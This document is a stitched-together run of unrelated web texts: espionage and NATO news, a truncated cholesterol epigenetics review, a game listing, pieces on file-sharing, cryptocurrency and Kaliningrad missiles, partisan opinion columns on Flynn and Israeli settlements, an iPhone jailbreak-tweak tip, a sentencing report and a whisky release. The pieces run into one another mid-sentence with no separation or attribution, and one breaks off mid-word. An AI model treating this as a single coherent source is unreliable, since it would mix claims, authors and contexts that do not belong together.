“In doing so the accused caused serious danger to Germany’s external security,” prosecutors said in a statement. “In return the accused received sums amounting to at least €95,000 (£68,000) from the CIA.”
Shortly before his arrest in July 2014, Markus R also offered to work for Russian intelligence and provided them with three documents, again harming Germany’s national security, prosecutors said.
The discovery that the CIA had allegedly been spying on its German counterpart caused anger in Berlin, adding to diplomatic tensions between Germany and the US over reports about US surveillance of Angela Merkel’s mobile phone.
Following the arrest, the German government demanded the removal of the CIA station chief in Berlin.
Prosecutors said Markus R would have had access to sensitive documents because his job involved handling mail and classified documents for the BND’s foreign operations department.
German weekly Der Spiegel reported that the 218 documents Markus R allegedly passed to the CIA included a list of all BND agents abroad, a summary of an eavesdropped phone call between former US secretary of state Hillary Clinton and former UN secretary general Kofi Annan, as well as a draft counterespionage strategy. A spokeswoman for the federal prosecutor’s office declined to comment on the report.
If convicted, Markus R could face between one and 15 years in prison.The head of NATO on Wednesday said the alliance will reschedule its upcoming meeting of foreign ministers to accommodate Secretary of State Rex Tillerson Rex Wayne TillersonHeather Nauert withdraws her name from consideration for UN ambassador job Trump administration’s top European diplomat to resign in February Pompeo planning to meet with Pat Roberts amid 2020 Senate speculation MORE, the Associated Press reported.
"This has been a scheduling issue and that kind of issue is possible to resolve. So I'm absolutely certain we will be able to find a date that works for everyone so we will have all the ministers present," NATO Secretary General Jens Stoltenberg.
Stoltenberg told the news outlet that he and Tillerson during a Wednesday meeting in Washington decided their staffs would devise a new plan to accommodate all NATO members.
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A Reuters report earlier in this week said Tillerson would skip the April meeting to stay in the United States for a visit with China’s president, Xi Jinping. Tillerson recently met with his Chinese counterpart, Foreign Minister Wang Yi, during his first trip to East Asia since taking over as the head of the State Department.
Following the visit from China’s president, Tillerson is supposed to make a trip to Moscow on April 12.
Trump during his presidential campaign criticized the NATO alliance and has called for its members to contribute additional funds to defense spending.Front Genet. 2014; 5: 311. doi: 10.3389/fgene.2014.00311 PMCID: PMC4174035 PMID: 25309573 Epigenetic regulation of cholesterol homeostasis 1,2,* Steve Meaney 1School of Biological Sciences, College of Sciences and Health, Dublin Institute of Technology, Dublin, Ireland 2Environmental Sustainability and Health Institute, Dublin Institute of Technology, Dublin, Ireland Find articles by Steve Meaney Author information Article notes Copyright and License information Disclaimer 1School of Biological Sciences, College of Sciences and Health, Dublin Institute of Technology, Dublin, Ireland 2Environmental Sustainability and Health Institute, Dublin Institute of Technology, Dublin, Ireland Edited by: Steven G. Gray, Trinity College Dublin, Ireland Reviewed by: Steven G. Gray, Trinity College Dublin, Ireland; Anne-Marie Baird, Queensland University of Technology, Australia *Correspondence: Steve Meaney, School of Biological Sciences, College of Sciences and Health, and Environmental Sustainability and Health Institute, Dublin Institute of Technology, Kevin Street, Dublin 8, Ireland e-mail: ei.tid@yenaem.evets This article was submitted to Epigenomics and Epigenetics, a section of the journal Frontiers in Genetics. Copyright © 2014 Meaney. This is an open-access article distributed under the terms of the Creative Commons Attribution License (CC BY). The use, distribution or reproduction in other forums is permitted, provided the original author(s) or licensor are credited and that the original publication in this journal is cited, in accordance with accepted academic practice. No use, distribution or reproduction is permitted which does not comply with these terms.
Abstract Although best known as a risk factor for cardiovascular disease, cholesterol is a vital component of all mammalian cells. In addition to key structural roles, cholesterol is a vital biochemical precursor for numerous biologically important compounds including oxysterols and bile acids, as well as acting as an activator of critical morphogenic systems (e.g., the Hedgehog system). A variety of sophisticated regulatory mechanisms interact to coordinate the overall level of cholesterol in cells, tissues and the entire organism. Accumulating evidence indicates that in additional to the more “traditional” regulatory schemes, cholesterol homeostasis is also under the control of epigenetic mechanisms such as histone acetylation and DNA methylation. The available evidence supporting a role for these mechanisms in the control of cholesterol synthesis, elimination, transport and storage are the focus of this review. Keywords: cholesterol, oxysterol, HMGCR, PCSK9, LDLR, APOE, APOJ, CYP46A1
INTRODUCTION Cholesterol (cholest-5-ene-3β-ol) is an ubiquitous 27-carbon steroid and a vital component of cellular membranes in vertebrates (Vance and Vance, 2002). It is essential for life, and defects in the ability to synthesize it leads to severe clinical conditions such as the Smith–Lemli–Opitz syndrome and desmosterolosis (Porter, 2003). In man the total pool of cholesterol is 120–130 g and as it is a neutral, hydrophobic lipid the vast majority is found as the free sterol in the membrane (Cook, 1958). The distribution of cholesterol across organs, cells, and subcellular membranes is not even, with some organs (e.g., the brain) and cell types (e.g., oligodendroglia) highly enriched in cholesterol. Within the cell, the low cholesterol content in intracellular membranes facilitates cholesterol sensing and homeostatic feedback (Steck and Lange, 2010; Jeon and Osborne, 2012). In addition to this essential structural role cholesterol is also a precursor for numerous biomolecules of physiological importance including bile acids, steroid hormones, and oxysterols1. All nucleated cells can synthesize cholesterol. As a consequence, under normal circumstances there is no requirement to ingest cholesterol. However, a typical western diet contains approximately 300–500 mg of cholesterol per day and so cholesterol originates from either de novo synthesis or dietary intake (Wang, 2007). This cholesterol is absorbed in the small intestine and is distributed throughout the body via the action of lipoproteins to most, but not all, tissues. The brain is a notable exception – cholesterol is unable to pass the blood–brain barrier and cholesterol in the brain is due to local synthesis (Björkhem and Meaney, 2004). Cholesterol in excess of requirements may either be stored as cholesteryl esters or eliminated via oxidation and/or conversion into bile acids (Björkhem, 2013). Thus, in both the cell and the intact organism, the overall cholesterol level depends on the contribution of cholesterol synthesis, absorption, elimination, and storage. This review presents a review of the current evidence of the role of epigenetic mechanisms in each of these processes.
FUNDAMENTALS OF LIPOPROTEIN HOMEOSTASIS Due to its insoluble nature, cholesterol cannot be solubilized in the plasma and is transported as cargo in proteolipid complexes known as lipoprotein particles. These particles consist of (i) a major structural apolipoprotein, (ii) peripheral apolipoproteins, (iii) structural lipids (phospholipids and cholesterol), and (iv) cargo lipids (highly hydrophobic lipid species such as triacylglycerols (TAG), steryl esters and fat soluble drugs, and vitamins). Lipoproteins can be divided into two broad classes – those containing Apolipoprotein B (APOB) and those containing Apolipoprotein A1 (APOA1) as core structural components. In combination with other peripheral apolipoproteins such as APOE, APOCII, and APOCI, these proteins define the function and metabolic fates of lipoproteins in the body (Vance and Vance, 2008). Dietary lipids are absorbed via the small intestine and packaged into large particles known as chylomicrons (CM), which contain the intestine-specific APOB48, which is a truncated form of APOB. CM are essentially TAG delivery systems that distribute dietary lipids throughout the body for direct use and/or storage (Vance and Vance, 2008). CM remnant particles eventually return to the liver where their remaining lipid cargo, now relatively enriched in cholesterol, integrates into endogenous hepatic lipid pathways. The liver produces a second class of APOB containing lipoproteins, very low density lipoprotein (VLDL), which contain the full-length APOB and are more enriched with cholesterol than CM. In similarity with CM, VLDL participates in TAG distribution from the liver to the periphery. However, as core TAG are delivered to the tissues of the body VLDL shrink and shed peripheral apolipoproteins. During this process, the proportion of cholesterol in the particle increases progressively, ultimately leading to the production of low-density lipoprotein (LDL) particles. By binding to the LDL-receptor (LDLR) on the outer surface of expressing cells, LDL can be internalized into the cell and its cholesterol containing cargo delivered inside the cell. As an individual, LDLR is reused multiple times, LDL acts as an efficient cholesterol delivery system. In contrast to APOB pathways, which are responsible for lipid transport to the periphery, APOA1 containing lipoproteins (i.e., high-density lipoproteins, HDL) are the mediators for reverse cholesterol transport (RCT). APOA1 is mainly synthesized by the liver and intestine, although other cell such as macrophages can also produce APOA1. Nascent HDL particles are lipid poor and collect free cholesterol and phospholipids from peripheral tissues in an ABCA1-dependent process. Esterification of cholesterol by lecithin-cholesterol acyl transferase (LCAT) leads to an increase in core cholesteryl esters and the formation of HDL2 particles. HDL2 may be further enriched with lipids by the action of the ATP-binding cassette subfamily G member 4 (ABCG4). This lipid cargo may then be delivered to the liver via Scavenger Receptor B1 (SCARB |
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The Smurfs CD Screenshots. Look out for the Flying Smurf - he's out of control! Run and jump your way to success in the best looking Smurf game ever. Screenshots from The Smurfs. From 1995. (c) Infogrames, Inc. For the Sega Mega CD.In Germany legal threats against file-sharers have been put on the radar of the U.S. Military. In a letter of advice prepared by the Army Judge Advocate General's Corps, soldiers and civilians stationed in Germany are warned about the consequences of unauthorized file-sharing. The corps advises those who are affected not to ignore the threat but to seek further legal assistance.
In recent years copyright holders have started hundreds of thousands of lawsuits against alleged pirates in Germany, demanding settlements ranging from a few hundred to thousands of euros.
These “trolling” ventures are more mainstream than in other countries and have even attracted the attention of the major Hollywood studios.
20th Century Fox, Universal Pictures and Warner Bros Entertainment, for example, are actively patrolling the Internet for people who download their work without permission. When someone is caught sharing their work, they can expect a settlement request of a few hundred euros in the mail.
Some of these letters have landed on the doorsteps of U.S. soldiers and civilians in the military community in Wiesbaden. This is not a big surprise, as these file-sharing networks and pirate sites are often the only way to enjoy recent U.S. movies and TV-shows.
To inform people about the threat of legal action, the Army Judge Advocate General’s Corps at the Wiesbaden base prepared an advisory document.
“It has become very popular to download music, films, and TV series in the privacy of the home,” the brief starts, quickly adding that unauthorized copying is against the law.
“Downloading copyright protected material whilst making it available to the public via peer-to-peer file sharing software is an offence in Germany and the user can also be held liable for damages to the copyright holder under German Copyright laws.”
The brief continues with an overview of how file-sharers are caught, and advises people to secure their wireless networks to prevent others from downloading copyrighted material over their connection.
Those who receive a settlement letter are advised to take it seriously. The cases that have gone to court thus far suggest that unless it’s a false accusation people only have limited resources to fight back.
“So what should you do if you received a demand letter from a law firm alleging an illegal download? Don’t ignore it, because mostly it can be assumed that the issued notice letter is basically legally sufficient.”
Most settlement letters demand a few hundred euros in damages and legal fees. U.S. soldiers and civilians who are targeted are not encouraged to pay up directly, but should consult a lawyer first.
“It is advisable not to communicate with the law firm and also not to sign any document, or to make any payments before consulting with an attorney,” the brief notes.
How many U.S. soldiers and citizens have been targeted remains unknown, but the document would not have been drafted on the basis of an isolated incident. Ironically, it appears that “the war on piracy” is one of the most serious threats U.S. soldiers face in Germany today.While the usual drumbeat of cryptocurrency innovation calls for ‘banking the unbanked’, a startup called Omise actually has the opposite goal: ‘unbanking the banked’.
And with the help of Joseph Poon, co-author of bitcoin’s Lightning Network white paper, the Thailand-based payment gateway network is building a decentralized exchange based on ethereum to move toward that goal.
The decentralized exchange, which Poon has written another white paper for, is built directly into the company’s upcoming proof-of-stake blockchain, OmiseGo. Once it’s finished, users will be able to trade fiat currencies for cryptocurrencies, or exchange between almost any cryptocurrencies (say bitcoin for ether) without a third party like Coinbase or Kraken.
Eliminating middleman was cryptocurrency’s original value proposition. Not to mention, trust in third parties is arguably what led to some of bitcoin’s most publicized disasters, including the fall of Mt Gox in 2014 and the $65m hack of Bitfinex last summer.
In contrast, Poon described the project as a sign of what’s to come in the cryptocurrency space, calling the decentralized trading trend “a big deal”.
He told CoinDesk:
“The entire point of money is to trade for other things. To do that in a decentralized way is sort of a no-brainer.”
And others agree. Decentralized exchanges are all the rage these days, with Shapeshift’s Prism, 0x and Swap all launching recently around the idea of ditching third parties in exchange.
Poon, who also recently helped write the specifications for Purse’s extension blocks scaling project, expects even more such projects to arrive – maybe a couple of dozen – and soon.
Resolving issues
The launch of the OmiseGo blockchain is slated for Q4 2017, supported by the launch of a wallet. And with all that, Poon believes it will be more feature-rich than competing projects.
“This is designed to be a full-blown exchange,” he explained, arguing it implements fine details other exchange projects haven’t yet considered.
To do so, the decentralized exchange is being built with both an execution engine (which makes the trade between users) and an order book (the component that lists the buyers and sellers looking to move their cryptocurrency and at what price).
“A lot of people talk about [these systems], but they don’t talk about: How do you know who’s going to be your counterparty? How do you know what price you’re going to trade at? How do you ensure there’s orderly execution? [OmiseGo] is going to resolve those issues,” Poon said.
And, an important difference from other projects is that it uses a decentralized system to match buyers with sellers.
How does it do that? As mentioned, the decentralized exchange is baked directly into the blockchain and its consensus rules. All nodes must follow these rules when checking whether blocks and transactions are valid. In addition to checking whether transactions in a block are valid – as they traditionally do – nodes also monitor the order book.
So, if Bob aims to trade Alice one ether for one ‘bobcoin’, then the nodes check if the orders match. If they do, the nodes approve of the transfer.
Unlike other decentralized exchanges such as 0x (winner of the Proof of Work pitch competition at CoinDesk’s Consensus 2017 conference), which is only focused on exchanging ERC-20 standardized tokens, OmiseGo users will be able to trade all but one cryptocurrency, monero.
The right connections
As an established payment gateway serving six countries in Southeast Asia, Omise might have the right connections to move the project forward. The company already helps banks and telecom companies with their payment system backends, and plans to offer clients the choice of moving onto the public OmiseGo network.
“Omise’s existing roles will be leveraged to gain adoption for the network and the framework managing access to the digital money issued on it,” OmiseGo special advisor Thomas Greco told CoinDesk.
So, the ultimate goal is to use the decentralized exchange to streamline fiat and cryptocurrency exchanges between these various clients.
Plus, in Poon’s eyes, it’s important that OmiseGo is a “public” blockchain project that anyone can join, because it offers a much better model than popular private blockchain consortium efforts.
Omise believes using a public blockchain solves industry coordination problems between parties that don’t necessarily trust each other. Private blockchains, he added, are merely recreating the traditional centralized clearinghouse system.
Poon said:
“So instead, they’re like, ‘Screw it, let’s just make a decentralized system.'”
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Friday’s indictment of former national-security adviser Michael Flynn has confirmed that Donald Trump’s inner circle colluded with a foreign power before entering the White House—just not the foreign power that has been the subject of our national fixation for the past year. To be sure, the jury is still out on Russia, though there are new grounds for questioning the case for a plot tying the Kremlin to Trump Tower. But with Flynn’s plea, we can now say for certain that the Trump team did collude—with Israel. Ad Policy
To recap, Flynn has pleaded guilty to lying to federal investigators about his conversations with then–Russian Ambassador Sergey Kislyak during the period after Trump’s November 2016 victory. As Foreign Policy previously reported, Flynn reached out to Kislyak as part of “a vigorous diplomatic bid” to undermine President Obama’s decision to allow a December 2016 Security Council resolution condemning illegal Israeli settlement building in the Occupied Territories. The indictment fills in some details.
According to the charge sheet, Flynn first made contact with Kislyak to discuss the Israel vote. We found out this weekend his reason for doing so. “[Special counsel Robert] Mueller’s investigators have learned through witnesses and documents that Prime Minister Benjamin Netanyahu of Israel asked the Trump transition team to lobby other countries to help Israel,” The New York Times reported after Flynn’s court appearance on Friday. “Investigators have learned that Mr. Flynn and [Trump son-in-law Jared] Kushner took the lead in those efforts”—efforts which failed to change a single vote, including Russia’s, which backed the measure in defiance of the Trump-Netanyahu subversion attempt.
In short, the first known contact between the Trump campaign and Russia after the election occurred in the service of a different foreign power, Israel, and was ultimately fruitless.
The next contact between Flynn and Kislyak was more productive. In late December, Obama imposed new sanctions on Russia for its alleged meddling in the 2016 election. A day later, Flynn called the Russian ambassador to request that the Kremlin, according to the plea document, “only respond to the U.S. Sanctions in a reciprocal manner.” Flynn’s overture came after a Trump transition colleague told him that the incoming administration “did not want Russia to escalate the situation.” By all accounts, Russia complied.
Whatever one thinks about this covert attempt to reduce tensions with a nuclear-armed power, it demonstrates an effort by the Trump transition, as with the Israel vote, to undermine the outgoing administration’s policy. Trump critics have seized on that as a violation of the Logan Act, which bars citizens from having unauthorized negotiations with foreign governments in a dispute with the United States. But the Logan Act has seldom been used except as a partisan talking point, not a prosecutable offense. More importantly, there’s the question as to whether Flynn’s overture on sanctions prove a quid pro quo.
Notwithstanding the post-election contact with Flynn, not only has Russia failed to gain a reduction in sanctions, but its relations with Washington have deteriorated. In early August, Trump signed new sanctions on Russia overwhelmingly approved by Congress. The administration recently presented lawmakers with a list of targets that “reads like a who’s who of the Russian defense and intelligence sectors,” The New York Times noted. In September, Trump shut down the Russian consulate in San Francisco and two annexes in New York City and Washington, DC. Just last week, Secretary of State Rex Tillerson denounced Russia’s “malicious tactics” against the West and vowed that sanctions imposed over Russian’s role in Ukraine “will remain in place until Russia reverses the actions that triggered them.” Meanwhile, Trump has enlarged NATO over Russia’s objections, carried out the “biggest military exercise in Eastern Europe since the Cold War” on Russia’s border, appointed several anti-Russia hawks to key posts, and continues to deliberate over whether to supply Ukraine with a weapons package that Obama himself rejected out of fear it would worsen the country’s civil war. In the latest flare-up, Russia has ordered international media outlets to register as foreign agents in retaliation for the Justice Department first doing so to Washington-based RT America. Current Issue View our current issue
It is, of course, possible that all of this is an elaborate ruse to mask the secret, as yet unproven, conspiracy that many insist will lead to Trump’s downfall. The fact that Flynn is now a cooperating witness has refueled hopes that this day is finally approaching. After all, why would Flynn lie about his contacts with Russia if he did not have something to hide? And why would Mueller offer him a plea deal if Flynn wasn’t offering him a bigger fish to fry? (One plausible motive, as Buzzfeed notes, is that Flynn may have lied to hide his potential Logan Act violation.)
Only time will tell whether Flynn has something to offer Mueller, or whether Mueller has gotten from him what he can. In the meantime, more than a year after the election, we still have exactly zero evidence of any cooperation between the Trump campaign and the Russian government—nor, it must be repeated, any evidence to back up US intelligence officials’ claims that the Russian government meddled in the election. We do have instances of Trump campaign figures’—namely, Donald Trump Jr. and low-level adviser George Papadopoulos—making contact with people that they thought were Russian government intermediaries. But whatever they were told or believed, there is still no proof that their contacts led to an actual Kremlin connection.
What we do have is evidence that the Trump campaign colluded with Israel to subvert the US government’s official position at the United Nations Security Council. Yet reaction to that news has been quite a departure from the standards of Russiagate when it comes to foreign meddling.
The contrast was put on stark display on Sunday, when Jared Kushner appeared with billionaire Israeli-American media tycoon Haim Saban at the latter’s annual forum on US-Israel relations. Saban took a moment to thank Kushner for his role in the subversion effort that Flynn admitted to have undertaken on Israel’s behalf. “To be honest with you, as far as I know there’s nothing illegal there,” Saban told his stage companion. “But I think that this crowd and myself want to thank you for making that effort, so thank you very much.”
For all of the fears of Russian oligarchs’ having influence over Trump, the comment from this American oligarch reveals a great deal about who really influences practically everyone in Washington, Republican or Democrat. Saban was not a Trump donor. He is, in fact, Bill and Hillary Clinton’s top all-time financial supporter, to the tune of more than $25 million; a benefactor whose generosity has helped build not just the Clinton Library but also the Democratic National Committee’s headquarters.
But there has been no outrage from democracy-defending #Resistance stalwarts over Saban’s comments (and the Israeli subversion effort he endorsed). The same for news of Kushner’s failure to disclose his leadership of a group that funded the illegal Israeli settlements that he tried to protect at the United Nations. And now we await to see how those who agonize over foreign influence on Trump will respond to his reported plans to move the American embassy to Jerusalem—”a decision that would break with decades of U.S. policy and could fuel violence in the Middle East,” as Haaretz notes.
It is unlikely that Trump will be challenged on Israel, because his approach is harmonic with a bipartisan consensus cemented in large part by the financial contributions of billionaires like Saban and his Republican pro-Israeli government counterpart, Sheldon Adelson. Hence, there are no editorials or opinion pieces denouncing Israel’s “Plot Against America,” or “War on America,” or warnings that “Odds Are, Israel Owns Trump,” or explorations of “What Israel Did to Control the American Mind.” Likewise, there will be no new groups forming dubbed the “Committee to Investigate Israel” or the “Tel Aviv Project.” In fact it is more than likely that, going forward, the media will give Israelgate the same treatment as cable’s top Russiagate sleuth, MSNBC’s Rachel Maddow, gave during her exhaustive Flynn coverage so far, which is to not even mention it.
This weekend furnished us with another important contrast. Flynn’s indictment was followed hours later by the passage of the Senate Republican tax bill, which stands to be one of the largest upward transfers of wealth in US history. If protecting democracy is our goal, we may want to tune out the Russia-obsessed pundits and look closer to home.In an interview early this month, Israeli Prime Minister Benjamin Netanyahu said illegal Jewish settlements in occupied Palestinian territory are a “bogus issue” that “don’t stand in the way” of a peaceful solution to the conflict.
That was exactly wrong, especially considering that direct negotiations had been stalled for years because the Palestinian side had freezing settlement construction as a precondition to talks. But it’s interesting to see what Israel has been up to in the meantime:
AFP:
New settlement construction starts rose by 70 percent in the first half of 2013 compared with a year earlier, an Israeli NGO said Thursday, describing the increase as “drastic”. According to figures released by the anti-settler group Peace Now, the construction of 1,708 new homes in the West Bank and East Jerusalem began between January and June 2013, compared with 995 in the same period last year. Billing the figures as a “drastic rise,” Peace Now said 44 percent of the new construction had taken place east of Israel’s vast separation barrier which cuts through the West Bank, and 32 percent fell to the west of it.
The number of Jewish settlers that the Israeli government has incentivized to live on Palestinian land has tripled since 1993 to more than 342,000 at the end of 2011, the Associated Press reported last year. That number does not include some 200,000 Jews living in East Jerusalem, which Israel annexed from the Palestinians in 1967. Updated settler population estimates for 2013 aren’t available, to my knowledge.
To reiterate, all of this settlement building is illegal under international law, which prohibits the forced transfer of civilian populations and forbids military occupiers from transferring any of its population to settle into the occupied area. Yet the demolitions of Palestinian homes and the erection of new Jewish settlements continues.
One might think settlement activity would abate now that Secretary of State John Kerry has apparently got each side back to the negotiating table. But settlement building is a political tactic in addition to a long-term effort to annex the West Bank.
As Yousef Munayyer wrote recently in The New Yorker, ”Everything about the Israeli state’s actual behavior suggests it has no intention of ever leaving the West Bank.” Lara Friedman and Daniel Seidemann, writing in Foreign Policy, call it the “everybody knows fallacy,” namely that Israel’s gradual and continuous expansion onto Palestinian land is premised “on the grounds that ‘everybody knows’ these areas will always be part of Israel.”
If anyone thinks this is lost on the Palestinians, think again.
“We believe that Israel is deliberately sending a message to the US, to the rest of the world that regardless of any attempt at launching negotiations, ‘we are going to press ahead with stealing more land, building more settlements and destroying the two-state-solution,’” PLO executive committee member Hanan Ashrawi told the BBC.
And that’s how this ‘peace process’ is going. The Israeli leadership doesn’t want peace, they want land that doesn’t belong to them. And thanks to support from Washington, they just might get it.The end of June 2016 featured two noticeable events that might alter Russian posture in the Baltic Sea region: Moscow resurrected its threats to deploy Iskander-M ballistic missiles to Kaliningrad oblast, and the Russian high command carried out an unprecedented in Russian history “decapitation” of the Baltic Sea Fleet (see EDM, July 6). At first glance, these two developments appear weakly connected and even contradictory. However, taken together they highlight the genuine nature of Russia’s current stance in the Baltic and its overall vision for the region.
On June 25, the former commander-in-chief of the Black Sea Fleet and the current chairman of the State Duma’s Defense Committee, Vladimir Komoedov (a member of the Communist Party of the Russian Federation), admitted that the westernmost Russian region of Kaliningrad may, “in the short term,” be equipped with Iskander-M ballistic missiles as a response to the North Atlantic Treaty Organization’s (NATO) activities in the Baltic region (Interfax, June 25). Also, Komoedov noted that the Baltic Sea Fleet (based out of the port of Baltyisk, Kaliningrad) is likely to receive a large landing craft, Alexander Gren, and other types of advanced weaponry. Furthermore, he firmly stated that Kaliningrad is a Russian “outpost” in the Baltic that is being “encircled” by NATO forces. According to the high-ranking parliamentarian, Kaliningrad oblast’s military potential should be dramatically increased so that it can stand up to this threat from the North Atlantic Alliance.
This statement did not appear out of nowhere. On June 15, Major-General Leonid Ivashev, a vice president at the Moscow-based Academy on Geopolitical Affairs, called on Russian authorities to install BM-30 Smerch heavy multiple rocket launchers along with other types of precision-guided munitions, aviation and cruise missiles in Kaliningrad (Kaliningrad.ru, June 15). Before that, on June 5, the first deputy chairman of the Defense and Security Committee of the Federation Council, Frantz Klintsevych, accused NATO of preparing to deliver a “global strike” against Russia via the Baltic States, Romania and Poland (Interfax, June 5).
Andrei Krasov, a Russian Airborne Troops colonel and a Hero of the Russian Federation, reiterated the possibility of Iskanders being sent to Kaliningrad, also adding Crimea to the “list” of potential sites of deployment (Interfax, June 23). Speaking about the missiles in Kaliningrad, Krasov boasted that nuclear warheads on the Iskander would be superfluous, predicting that the “enemy could be beaten with conventional weaponry.” He also made an allusion to the defeats suffered by Adolf Hitler and Napoleon Bonaparte on Russian soil. Colonel Krasov’s remarks (including his ever-popular allusion to the experience of the Great Patriotic War—i.e., the Soviet Union’s fight against Nazi Germany during World War II) were likely not a rhetorical improvisation. Rather, his comments were probably designed to echo President Vladimir Putin’s speech delivered on June 22 (the day of the German invasion of the Soviet Union, in 1941). On this carefully chosen date, Putin demanded that “all necessary steps must be taken in light of NATO’s aggressive [sic] behavior close to Russia’s borders” (Interfax, June 22). Yet, the Russian leader failed to mention Russia’s own actions in Ukraine, the unlawful annexation of Crimea, and a threefold growth in military expenditures over the course of his tenure as president.
The renewed discussion of Russian missiles in Kaliningrad by the country’s top officials has revitalized the debate on this topic in the domestic expert community as well. Mikhail Barabanov, the editor-in chief of the Moscow Defense Brief magazine, claims that Iskander-M complexes will be deployed in Kaliningrad by 2019, as a replacement for the smaller Tochka-U system. Ivan Konovalov, from the Center for Analysis of Strategies and Technologies (CAST), believes that the deployment of Iskander-Ms to Kaliningrad is “utterly probable” (Delfi.lt, June 24). Whereas, the Lithuanian Ministry of Foreign Affairs has stated that the redeployment of Iskanders to the Russian western exclave is still only in its planning stages within the Kremlin (RIA Novosti, July 3).
All that said, certain crucial conclusions can be drawn. First, ever since the Livonian War (1558–1583), the Baltic Sea region has been a high priority for Russian imperial ambitions, which are currently rising to new levels. The planned further militarization of Kaliningrad strongly suggests Moscow is determined to turn the Baltic Sea into its “mare nostrum”—with the help of the Baltic Sea Fleet and increasing military presence in its so-called “border regions.”
Second, Kaliningrad is a recurring point of military pressure on European countries. Judging by escalating rhetoric coming from Moscow, this western oblast’s capabilities are likely to be beefed-up in the short to medium term. In spite of its size, this “Russian island” could easily be transformed into a formidable militarized fortress, replicating the experience of the Soviet period. The installment of Iskander-M missiles (along with other advanced military equipment that could supplement the units and materiel already present) in Kaliningrad, in addition to Russian military activities in Crimea, creates an “arc of pressure” stretching from the Black to the Baltic Sea. Under these circumstances, the formidable deployed weaponry (with an estimated kill zone of up to 500 kilometers) would threaten a strategically vital area stretching from the Baltic Sea toward the Czech Republic and Ukraine.
Third, by constantly emphasizing “isolationist” and “militaristic” rhetoric when speaking about Kaliningrad, Russian authorities are artificially excluding this exclave from the dynamically developing Baltic Sea Rim (Interfax-AVN, June 25) and turning the oblast into a regional “scarecrow.” This tendency once again corroborates a grim reality: Kaliningrad (and its population) continues to be a “pawn” in the hands of Russia’s political-military top brass and remains a “geopolitical hostage” of the Kremlin’s aggressive adventurism.
Fourth, even though Russian elites are demonstrating self-confidence and a dismissive attitude regarding NATO’s regional activities, this outward façade may not fully reflect the actual state of affairs. Indeed, it is notable that the issue of the deployment of Iskander-M complexes to Kaliningrad had reemerged on the eve of the NATO summit in Warsaw (July 8–9), which was all along expected to underscore the Alliance’s instrumental role in Central and Eastern Europe (Kresy.pl, June 10). Evidently, the rhetoric out of Moscow is meant to both frighten and divide NATO member states regarding the perceived level of threat coming from Russia.
Together, these developments signify mounting tensions in and over the Baltic Sea region. And if left unchecked, the Kremlin’s ambitious projects and aggressive determination may lead to a further worsening of the situation.A lot of people get irritated when they can’t activate or use their iPhone without a sim card. I mean who would be able to bear with the constant popup that says “No SIM Card installed” and “Invalid SIM.”? These warnings or alerts are completely normal, and there is nothing to be worried about. As long as you have a working sim card inserted, then the warnings would automatically disappear.
Some users have reported that they still continue to see the alerts even though their sim card has been put in. If this is the case for some of you, trying out one of the following methods does the fix.
How to Fix iPhone Keeps Saying No Sim Card
Restart you iPhone Turn on AirPlane Mode and turn it off Update your iOS to the latest version Be sure the sim card is activated though your carrier
There are many cases where people might use their unactivated iPhone as a spare iPod touch. Unfortunately, the phone will continue to say that no sim card was installed or detected. There is an easy way to getting rid of this warning forever if you’re not going to use your iPhone as a primary method of communication (phone calling for example).
How to Disable No Sim Card Warning on iPhone
CopySIM is a free jailbreak tweak and it will perform that task for you. The tweak is now available for free from the BigBoss repo. Once installed, CoySIM will give you several options to choose from. One of these will be to disable the “No SIM Card Installed” alerts across your iOS device.
Another useful function is to replace/change the “No SIM” from the status bar to “No Service”.
Additionally, iPhone users can also get a chance to remove their carrier name if they wish to hide it from everyone else. I think this tweak is pretty neat, especially for people who have a non-working iPhone that they use to browse the web, listen to music, play mobile games, and everything else except for the native phone dialing feature.
Again, you can download the CoySIM tweak from Cydia, and it’s compatible with both iOS 8 & 9.A CHILD molester from West Yorkshire who abused two Asian girls was rightly given a longer sentence than had his victims been white - because Asian sex-crime victims suffer more, a top judge has ruled.
Mr Justice Walker said it was proper for paedophile, Jamal Muhammed Raheem Ul Nasir, to have been given a tougher than normal sentence, because his victims were Asian.
Library picture
Ul Nasir, 32, carried out sex attacks on two underage girls and was jailed for a total of seven years at Leeds Crown Court in December last year.
He was convicted of two counts of sexual assault on a child under 13 and four counts of sexual activity with a child.
The judge who jailed him, Sally Cahill QC, specifically said that the fact the victims were Asian had been factored in as an “aggravating feature” when passing sentence.
The judge’s comments have been criticised by children’s charity the NSPCC.
She stated that the victims and their families had suffered particular “shame” in their communities because of what had happened to them.
Additionally there were cultural concerns that the girls’ future prospects of being regarded as a good catch for arranged marriages might be damaged.
Lawyers for Ul Nasir, 32, of Firthcliffe Grove, Liversedge, argued at London’s Criminal Appeal Court that his sentence had been unfairly inflated.
But their complaints were rejected by Mr Justice Walker, who said: “The victims’ fathers were concerned about the future marriage prospects for their daughters.
“Judge Cahill was having particular regard to the harm caused to the victims by this offending.
“That harm was aggravated by the impact on the victims and their families within this particular community”.
The argument that Ul Nasir was given a longer sentence due to his own “ethnic and religious origin” was based on “a misconception”, he added.
“The judge who tried the case was in the best position to determine the correct sentence.”
Mr Justice Walker, sitting with Lord Justice Laws and Mr Justice Mitting, concluded: “There is no basis for saying that Judge Cahill adopted an incorrect starting point.
“This application for leave to appeal against sentence must be refused.”
MORE NEWS HEADLINESGordon & MacPhail's Benromach 15 Years Old
Category - Spirits, whisky, Scotch, single malt
Available - From this week
Location - Global
Price - In UK, RSP of GBP48.99 (US$77) per unit
Gordon & MacPhail has added a permanent addition to its Benromach single malt Scotch whisky portfolio. The 15-year-old iteration of the single malt has been aged in Sherry and Bourbon casks.
Late last year, Gordon & MacPhail reported full-year figures that included a 27% leap in sales from its Benromach division.
For an exclusive interview with the retired MD of Gordon and MacPhail, Mivhael Urquhart, click here.
Show the press release
A notable new addition to the Benromach stable of classic Speyside single malt whiskies has gone on sale.
Benromach 15 Years Old has a distinctive golden amber colour thanks to long maturation in sherry and bourbon casks and a soft smokiness.
It tastes of luscious sherry and rich fruitcake with stewed plums and a hint of cocoa.
Launched by the Benromach Distillery Company Ltd, the 15 Years Old is available now with an RSP of £48.99 (prices may vary in export markets because of duty and import taxes).
As with all Benromach whiskies, the 15 Years Old is hand-crafted by just three distillers using the finest natural ingredients at the Forres distillery.
Benromach, in Forres, was bought over by Gordon & MacPhail in 1993 and carefully restored.
It was opened once again in 1998 by HRH Prince Charles and has since gained a reputation for producing an innovative range of distinctive Speyside whiskies with pre-1960s character.
Ewen Mackintosh, Chief Operating Officer of Gordon & MacPhail which owns the Benromach Distillery Company Ltd, said: “The Benromach story is a remarkable one, and the launch of the 15 Years Old marks a significant milestone in the distillery’s history.
